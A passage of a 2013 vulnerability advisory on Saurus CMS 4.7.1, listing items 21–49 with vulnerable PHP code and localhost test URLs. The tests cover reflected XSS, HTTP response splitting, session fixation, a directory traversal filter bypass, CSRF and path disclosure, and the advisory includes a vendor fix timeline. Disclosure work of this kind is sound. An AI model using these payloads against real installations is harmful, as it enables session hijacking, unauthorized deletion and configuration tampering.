$site->fdat['form_field'];} else{ echo $site->fdat['lahter'];}?>.focus(); .. if($site->fdat['month']>=1&&$site->fdat['month']<=12) { $month = $site->fdat['month']; .. defaultDate: new Date(<?=$year;?>, <?=$month;?> - 1, <?=$day;?>), ------------------------[ source code end ]------------------------------------ Tests: http://localhost/saurus471/editor/kalender.php?form=</script><script>alert(123);</script> http://localhost/saurus471/editor/kalender.php?vorm=</script><script>alert(123);</script> http://localhost/saurus471/editor/kalender.php?form_field=</script><script>alert(123);</script> http://localhost/saurus471/editor/kalender.php?lahter=</script><script>alert(123);</script> http://localhost/saurus471/editor/kalender.php?/saurus471/admin/&month=1</script><script>alert(123);</script> Results: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities. ############################################################################### 21. Reflected XSS in "admin/delete_log.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameter "tbl" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/delete_log.php" line 176: ------------------------[ source code start ]---------------------------------- <input type="hidden" name="tbl" value="<?=$site->fdat['tbl']?>"> ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/delete_log.php?tbl="><script>alert(123);</script> Result: javascript alert box pops up, confirming Reflected XSS vulnerability. ############################################################################### 22. Reflected XSS in "admin/edit_adminpage.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameters "id" and"op" Preconditions: 1. logged in as Saurus CMS admin Tests: http://localhost/saurus471/admin/edit_adminpage.php?id="><script>alert(123);</script> http://localhost/saurus471/admin/edit_adminpage.php?op="><script>alert(123);</script> Results: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities. ############################################################################### 23. Reflected XSS in "admin/edit_group.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameter "group_id" Preconditions: 1. logged in as Saurus CMS admin Tests: http://localhost/saurus471/admin/edit_group.php?op=edit&group_id=1"><script>alert(123);</script> Result: javascript alert boxes pop up, confirming Reflected XSS vulnerabilities. ############################################################################### 24. Reflected XSS in "admin/profile_data.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameter "profile_id" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/profile_data.php" line 65: ------------------------[ source code start ]---------------------------------- print "<font color=red><b>Profile '".$site->fdat['profile_id']."' not found!</b></font>"; ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/profile_data.php?profile_id=<script>alert(123);</script> Result: javascript alert box pops up, confirming Reflected XSS vulnerability. ############################################################################### 25. Reflected XSS in "admin/edit_object.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameter "profile_id" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/edit_object.php" line 101: ------------------------[ source code start ]---------------------------------- print "<font color=red><b>Profile '".$profile_id."' not found!</b></font>"; ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/edit.php?tab=object&op=new&&tyyp_id=20&profile_id=,<script>alert(123);</script> Result: javascript alert box pops up, confirming Reflected XSS vulnerability. ############################################################################### 26. Reflected XSS in "admin/edit_profile.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameter "pid" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/edit_profile.php" line 997: ------------------------[ source code start ]---------------------------------- print "<font color=red><b>Profile '".$site->fdat['pid']."' not found!</b></font>"; ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/edit_profile.php?op=edit&did=1&pid=<script>alert(123);</script> Result: javascript alert box pops up, confirming Reflected XSS vulnerability. ############################################################################### 27. Reflected XSS in "admin/profiles.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameters "profile_id", "source_table", "did" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/profiles.php" line 247: ------------------------[ source code start ]---------------------------------- <TD class="scms_dropdown_item"><a href="javascript:void(openpopup ('edit_profile.php?op=newdef&pid=<?= $site->fdat['profile_id'] ?> .. <TD class="scms_dropdown_item"><a href="javascript:void(openpopup ('edit_profile.php?op=new&pid=<?= $site->fdat['profile_id']?> &source_table=<?= $site->fdat['source_table']?> .. <TD nowrap><?if($site->fdat['profile_id']){?><a href="javascript:void(openpopup ('edit_profile.php?op=edit&pid=<?= $site->fdat['profile_id']?> &did=<?= $site->fdat['did']?>' .. <TD><?if($site->fdat['profile_id']){?><a href="javascript:void(openpopup ('edit_profile.php?op=delete&pid=<?= $site->fdat['profile_id']?> .. <TD><?if($site->fdat['profile_id']){?><a href="javascript:void(openpopup ('edit_profile.php?op=duplicate&pid=<?= $site->fdat['profile_id']?> &did=<?=$site->fdat['did']?>' .. <TD><a href="https://www.exploit-db.com/exploits/26894/<?= $site->self ?>?profile_id=<?= $site->fdat['profile_id']?>&op=sync" ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/profiles.php?profile_id="><script>alert(123);</script> http://localhost/saurus471/admin/profiles.php?source_table="><script>alert(123);</script> http://localhost/saurus471/admin/profiles.php?profile_id=z&did="><script>alert(123);</script> Results: javascript alert boxes popping up, confirming Reflected XSS vulnerability. ############################################################################### 28. Reflected XSS in "admin/sys_alias.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameters "flt_keel" and "keel_id" Preconditions: 1. logged in as Saurus CMS admin Test: http://localhost/saurus471/admin/sys_alias.php?flt_keel="><script>alert(123);</script> http://localhost/saurus471/admin/sys_alias.php?keel_id="><script>alert(123);</script> Result: javascript alert boxes popping up, confirming Reflected XSS vulnerability. ############################################################################### 29. Reflected XSS in "admin/sys_sonad_loetelu.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameters "flt_keel" Preconditions: 1. logged in as Saurus CMS admin Test: http://localhost/saurus471/admin/sys_sonad_loetelu.php?flt_keel=</script><script>alert(123);</script> Result: javascript alert box pops up, confirming Reflected XSS vulnerability. ############################################################################### 30. Reflected XSS in "admin/user_management.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. all user-supplied parameters (excluding "selected_devices") Preconditions: 1. logged in as Saurus CMS admin Php script "admin/user_management.php" line 138: ------------------------[ source code start ]---------------------------------- foreach($site->fdat as $fdat_field=>$fdat_value) { if($fdat_field != 'selected_devices'){ echo '<input type=hidden id="selectform_'.$fdat_field.'" name="'.$fdat_field.'" value="'.$fdat_value.'">'; } ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/user_management.php?foobar="><script>alert(123);</script> Result: javascript alert box pops up, confirming Reflected XSS vulnerability. ############################################################################### 31. Reflected XSS in "admin/permissions.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameters "selected_group", "user_id", "group_id" and "role_id" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/permissions.php" line 229: ------------------------[ source code start ]---------------------------------- <input type=hidden id="selectform_selected_group" name="selected_group" value="<?=$site->fdat['selected_group']?>"> <input type=hidden id="selectform_user_id" name="user_id" value="<?=$site->fdat['user_id']?>"> <input type=hidden id="selectform_group_id" name="group_id" value="<?=$site->fdat['group_id']?>"> ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/permissions.php?selected_group="><script>alert(123);</script> http://localhost/saurus471/admin/permissions.php?user_id="><script>alert(123);</script> http://localhost/saurus471/admin/permissions.php?group_id="><script>alert(123);</script> http://localhost/saurus471/admin/permissions.php?role_id="><script>alert(123);</script> Result: javascript alert boxes popping up, confirming Reflected XSS vulnerability. ############################################################################### 32. Reflected XSS in "admin/file_source.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied GET parameter "selected_group" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/file_source.php" line 47: ------------------------[ source code start ]---------------------------------- $callback = (string)$_GET['callback']; .. <?=$callback;?>("<?=str_replace(array('"', "\n", "\r"), array('\"', '\n', '\r'), $fcontent);?>"); ------------------------[ source code end ]------------------------------------ Test (parameter "file" must be valid): http://localhost/saurus471/admin/file_source.php?file=public/test.php&callback=alert(123);// Result: javascript alert box pops up, confirming Reflected XSS vulnerability. ############################################################################### 33. Reflected XSS in "admin/change_config.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameter "flt_keel" and "group" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/change_config.php" line 1220: ------------------------[ source code start ]---------------------------------- <input type=hidden name=flt_keel value="<?=$site->fdat['flt_keel']?>"> .. <input type="hidden" name="group" value="<?=$site->fdat['group']?>"> ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/change_config.php?group=1&flt_keel="><script>alert(123);</script> http://localhost/saurus471/admin/change_config.php?group="><script>alert(123);</script> Result: javascript alert boxes popping up, confirming Reflected XSS vulnerability. ############################################################################### 34. Reflected XSS in "admin/forms.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameter "form_id" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/forms.php" line 222: ------------------------[ source code start ]---------------------------------- if($site->fdat['op'] == 'delete' && $site->fdat['form_id']) { .. <input type=hidden name=form_id value="<?=$site->fdat['form_id']?>"> ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/forms.php?op=delete&form_id="><script>alert(123);</script> Result: javascript alert box pops up, confirming Reflected XSS vulnerability. ############################################################################### 35. Reflected XSS in "admin/lang_file.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. user-supplied parameter "flt_keel" and "keel_id" Preconditions: 1. logged in as Saurus CMS admin Php script "admin/lang_file.php" line 204: ------------------------[ source code start ]---------------------------------- $keel_id = isset($site->fdat[flt_keel]) ? $site->fdat[flt_keel] : $site->fdat[keel_id]; .. <input type=hidden name=keel_id value="<?=$keel_id ?>"> ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/lang_file.php?op=import&flt_keel="><script>alert(123);</script> http://localhost/saurus471/admin/lang_file.php?op=import&keel_id="><script>alert(123);</script> Result: javascript alert boxes popping up, confirming Reflected XSS vulnerability. ############################################################################### 36. Reflected XSS in "admin/select_group.php" ############################################################################### Reason: 1. improper encoding or escaping of output Attack vector: 1. all user-supplied parameters (excluding "selected_devices") Preconditions: 1. logged in as Saurus CMS admin Php script "admin/select_group.php" line 442: ------------------------[ source code start ]---------------------------------- foreach($site->fdat as $fdat_field=>$fdat_value) { if($fdat_field != 'selected_devices'){ echo '<input type=hidden id="selectform_'.$fdat_field.'" name="'.$fdat_field.'" value="'.$fdat_value.'"> ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/admin/select_group.php?foobar="><script>alert(123);</script> Result: javascript alert box pops up, confirming Reflected XSS vulnerability. ############################################################################### 37. HTTP Response Splittingand insecure redirection in "redirect.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "url" Preconditions: 1. php version < 4.4.2 or < 5.1.2 Php script "redirect.php" line 100: ------------------------[ source code start ]---------------------------------- if($_GET['url']) { $url = urldecode($_GET['url']); //prevent Response Splitting attack $url = preg_replace("!\r|\n.*!s", "", $url); header('Location: '.$_GET['url']); ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/redirect.php?url=war%0d%0axe Result (using php 5.3.24): Warning: Header may not contain more than a single header, new line detected in C:\apache_www\saurus471\redirect.php on line 106 Test: http://localhost/saurus471/redirect.php?url=http://php.net/ Result: successful redirection ############################################################################### 38. HTTP Response Splittingand insecure redirection in "editor/redirect.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET parameter "url" Preconditions: 1. php version < 4.4.2 or < 5.1.2 Php script "editor/redirect.php" line 100: ------------------------[ source code start ]---------------------------------- if($_GET['url']) { $url = urldecode($_GET['url']); //prevent Response Splitting attack $url = preg_replace("!\r|\n.*!s", "", $url); header('Location: '.$_GET['url']); ------------------------[ source code end ]------------------------------------ Test: http://localhost/saurus471/editor/redirect.php?url=war%0d%0axe Result (using php 5.3.24): Warning: Header may not contain more than a single header, new line detected in C:\apache_www\saurus471\editor\redirect.php on line 106 Test: http://localhost/saurus471/editor/redirect.php?url=http://php.net/ Result: successful redirection ############################################################################### 39. HTTP Response Splitting in "idcard/index.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied GET and POST parameters "targeturl" Preconditions: 1. HTTPS connection needed ("SSLRequireSSL" directive in ".htaccess" file) 2. php version < 4.4.2 or < 5.1.2 Php script "idcard/index.php" line 9: ------------------------[ source code start ]---------------------------------- if($_GET['targeturl']) { $targeturl = '?target_url='.$_GET['targeturl']; } elseif($_POST['targeturl']) { $targeturl = '?target_url='.$_POST['targeturl']; } header('Location: ../idcard.php'.$targeturl); ------------------------[ source code end ]------------------------------------ ############################################################################### 40. HTTP Response Splitting in "admin/lang_file.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameters "flt_keel" and "keel_id" Preconditions: 1. php version < 4.4.2 or < 5.1.2 2. logged in as Saurus CMS admin Php script "admin/lang_file.php" line 44: ------------------------[ source code start ]---------------------------------- $keel_id = isset($site->fdat[flt_keel]) ? $site->fdat[flt_keel] : $site->fdat[keel_id]; .. if ($site->fdat['op'] == 'export' && $site->fdat['op2'] == 'salvesta'){ header("Content-Disposition: attachment; filename=\"language".$keel_id.".csv\""); ------------------------[ source code end ]------------------------------------ Tests: http://localhost/saurus471/admin/lang_file.php?op=export&op2=salvesta&flt_keel=%0d%0a http://localhost/saurus471/admin/lang_file.php?op=export&op2=salvesta&keel_id=%0d%0a Result (using php 5.3.24, from errorlog): Header may not contain more than a single header, new line detected ############################################################################### 41. HTTP Response Splitting in "admin/publish.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameter "url" Preconditions: 1. php version < 4.4.2 or < 5.1.2 2. logged in as Saurus CMS user with publish privileges Php script "admin/publish.php" line 118: ------------------------[ source code start ]---------------------------------- header("Location: ".(empty($_SERVER['HTTPS']) ? 'http://' : 'https://').$site->CONF[hostname].$site->fdat[url]); ------------------------[ source code end ]------------------------------------ ############################################################################### 42. HTTP Response Splitting in "add_comment.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameters "tpl", "c_tpl", "id", "redirect_url" Preconditions: 1. php version < 4.4.2 or < 5.1.2 Php script "add_comment.php" line 135: ------------------------[ source code start ]---------------------------------- header('Location: '.urldecode(preg_replace("!\r|\n.*!s", "", $_POST['redirect_url'])).'&lisa_alert=2'); .. header('Location: '.(empty($_SERVER['HTTPS']) ? 'http://': 'https://').$site->CONF['hostname'].$site->CONF['wwwroot']. ($site->in_editor?'/editor':'').'/?'.(($site->fdat['tpl'] || $site->fdat['c_tpl'])&&!$site->fdat['inserted_id']&& !$site->fdat['jump_to_parent']?'tpl='.$site->fdat['tpl']. '&c_tpl='.$site->fdat['c_tpl'].'&':'').'id='.$site->fdat['id'].'&lisa_alert=2'); .. if ($site->fdat['output_device'] == 'pda') { if (strlen($site->fdat['text']) < 2 || strlen($site->fdat['nimi']) < 2) { myRedirect($site->fdat['redirect_url']); .. header("Location: ".urldecode($site->fdat['redirect_url'])); .. function myRedirect($url) { .. header("Location: " . urldecode($url)); } ------------------------[ source code end ]------------------------------------ ############################################################################### 43. Information leakage in "admin/check_requirements.php" ############################################################################### Reason: insufficient access control Test: http://localhost/saurus471/admin/check_requirements.php Result: Simple GET request as shown above reveals some information about web server: MySQL version, Webserver version, PHP version, multiple php setting values, multiple directory permissions. Anyone can access this diagnostic script, no access control exist. ############################################################################### 44. Session Fixation vulnerability in "admin/ajax_response.php" ############################################################################### Attack vector: 1. user-supplied POST parameter "PHPSESSID" Preconditions: none Some years ago PHP session fixation attacks were easy to exploit: just add PHPSESSID=112233445566 to URI and done. Modern PHP versions are more secure by default: PHP setting "session.use_only_cookies" defaults to "1" since 5.3.0, "session.use_trans_sid" defaults to "0". So even if PHP-based web application does have session fixation vulnerability, many real world installations are hard to exploit. Now let's look at Saurus CMS source code. Php script "admin/ajax_response.php" line 27: ------------------------[ source code start ]---------------------------------- if(isset($_POST['PHPSESSID'])) { session_id($_POST['PHPSESSID']); session_start(); } ------------------------[ source code end ]------------------------------------ We can see, that user-submitted POST parameter PHPSESSID is used as argument for PHP function "session_id()", which is followed by "session_start()". It means, that even if "session.use_only_cookies=1" and "session.use_trans_sid=0", session fixation attacks are possible. Test: <html><body><center> <form action="http://localhost/saurus471/admin/ajax_response.php" method="post"> <input type="hidden" name="PHPSESSID" value="1122334455667788"> <input type="submit" value="Test"> </form> </center></body></html> Press "Test button" and then observe server response: HTTP/1.1 200 OK Date: Wed, 05 Jun 2013 10:26:19 GMT Server: Apache/2.2.22 (Win32) DAV/2 mod_ssl/2.2.22 OpenSSL/0.9.8t Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: PHPSESSID=1122334455667788; path=/ Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/javascript Now log in as Saurus CMS admin and look for session cookies: GET /saurus471/admin/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: logged=1; PHPSESSID=1122334455667788 Connection: keep-alive We can see, that after authentication session ID does not change, which indicates Session Fixation vulnerability existence. Solution: implement session ID renewal after successful user authentication. ############################################################################### 45. Directory Traversal vulnerability in "admin/ajax_response.php" ############################################################################### Reason: 1. insufficient sanitization of user-supplied data Attack vector: 1. user-supplied parameter "name" Preconditions: 1. logged in as valid Saurus CMS user Result: logged in Saurus CMS user can test existence of arbitrary files on remote server filesystem. Php script "admin/ajax_response.php" line 52: ------------------------[ source code start ]---------------------------------- // check if a file exists if($site->user->user_id && $_REQUEST['op'] == 'check_file' && $site->fdat['name']) { include_once($class_path.'adminpage.inc.php'); $pathinfo = str_replace(array('../', './', '..\\', '.\\'), '', $site->fdat['name']); $pathinfo = explode('/', $pathinfo); $filename = create_alias_from_string($pathinfo[count($pathinfo) - 1],true); unset($pathinfo[count($pathinfo) - 1]); $dirname = implode('/', $pathinfo); if(file_exists($site->absolute_path.$dirname.'/'.$filename)) { echo '{"file_exists": 1}'; } else { echo '{"file_exists": 0}'; } ------------------------[ source code end ]------------------------------------ As seen above, php function "str_replace()" is used for filtering out possible directory traversal substrings. Such filtering is not secure enough and can be bypassed with specially crafted parameter "name". Test 1: http://localhost/saurus471/admin/ajax_response.php?op=check_file&name=..././..././/..././..././/..././..././/foobar.txt Result: {"file_exists": 0} Test 2: http://localhost/saurus471/admin/ajax_response.php?op=check_file&name=..././..././/..././..././/..././..././/test.txt Result: {"file_exists": 1} ############################################################################### 46. Cross-Site Request Forgery in "admin/trash.php" ############################################################################### Reason: 1. missing CSRF token checks Result: 1. Unauthorized deletion of objects from Recycle Bin Php script "admin/trash.php" line 85: ------------------------[ source code start ]---------------------------------- if($site->fdat['delete_all'] && count($site->fdat['objects'])) { //empty trash for($i = count($site->fdat['objects']) - 1; $i >= 0; $i--) { foreach($site->fdat['objects'][$i] as $object_id => $values) if($object_id) { $delete_objs = new Alamlist(array( 'parent' => $object_id, 'klass' => $classes, )); while($object = $delete_objs->next()) { $object->del(); ------------------------[ source code end ]------------------------------------ As seen above, there is no protection against CSRF. Test: http://localhost/saurus471/admin/trash.php?delete_all=1&objects[]=1 Result (from sitelog): "Recycle Bin emptied" Solution: use "verify_form_token()" function in critical places ############################################################################### 47. Cross-Site Request Forgery in "admin/change_config.php" ############################################################################### Reason: 1. missing CSRF token checks Result: 1. Unauthorized modification of site configuration Php script "admin/change_config.php" line 85: ------------------------[ source code start ]---------------------------------- if ($site->fdat[salvesta]==1) { foreach ($site->fdat as $key=>$value) { if ( substr ($key, 0, 4) == "cff_" ) { $sql = $site->db->prepare("UPDATE config SET sisu=? WHERE nimi=?", $value, substr ($key, 4)); $sth = new SQL($sql); ------------------------[ source code end ]------------------------------------ We can see, that there is no protection against CSRF. Tests: http://localhost/saurus471/admin/change_config.php?salvesta=1&cff_save_error_log=0 http://localhost/saurus471/admin/change_config.php?salvesta=1&cff_save_error_log=1 Result: Saurus CMS configuration setting "save_error_log" has been changed Solution: use "verify_form_token()" function in critical places ############################################################################### 48. Cross-Site Request Forgery in "admin/forms.php" ############################################################################### Reason: 1. missing CSRF token checks Result: 1. Unauthorized deletion of forms Php script "admin/forms.php" line 137: ------------------------[ source code start ]---------------------------------- if($site->fdat['op2'] == 'deleteconfirmed' && $site->fdat['form_id']) { # delete form $sql = $site->db->prepare("DELETE FROM forms WHERE form_id=?",$site->fdat['form_id']); $sth = new SQL($sql); ------------------------[ source code end ]------------------------------------ We can see, that there is no protection against CSRF. Test: http://localhost/saurus471/admin/forms.php?op2=deleteconfirmed&form_id=5 Result (from sitelog): "Form 'testform' deleted" Solution: use "verify_form_token()" function in critical places ############################################################################### 49. Full Path Disclosure in multiple scripts ############################################################################### Preconditions: 1. PHP setting "display_errors = On" Tests: http://localhost/saurus471/admin/edit_object.php Fatal error: Call to a member function msg() on a non-object in C:\apache_www\saurus471\admin\edit_object.php on line 1299 http://localhost/saurus471/admin/edit_pilt.php Fatal error: Class 'Timer' not found in C:\apache_www\saurus471\admin\edit_pilt.php on line 21 http://localhost/saurus471/admin/templates.php Fatal error: Call to a member function msg() on a non-object in C:\apache_www\saurus471\admin\templates.php on line 57 Disclosure timeline: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 06.06.2013 -> First email to vendor 06.06.2013 -> First response email from vendor 06.06.2013 -> Sending detailed information to vendor 07.06.2013 -> Vendor started fixing found problems 21.06.2013 -> Found problems are fixed 14.07.2013 -> Current advisory released Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Waraxe forum:http://www.waraxe.us/forums.html Personal homepage: http://www.janekvind.com/ Random project: http://albumnow.com/ ---------------------------------- [ EOF ] ------------------------------------ |
体验盒子
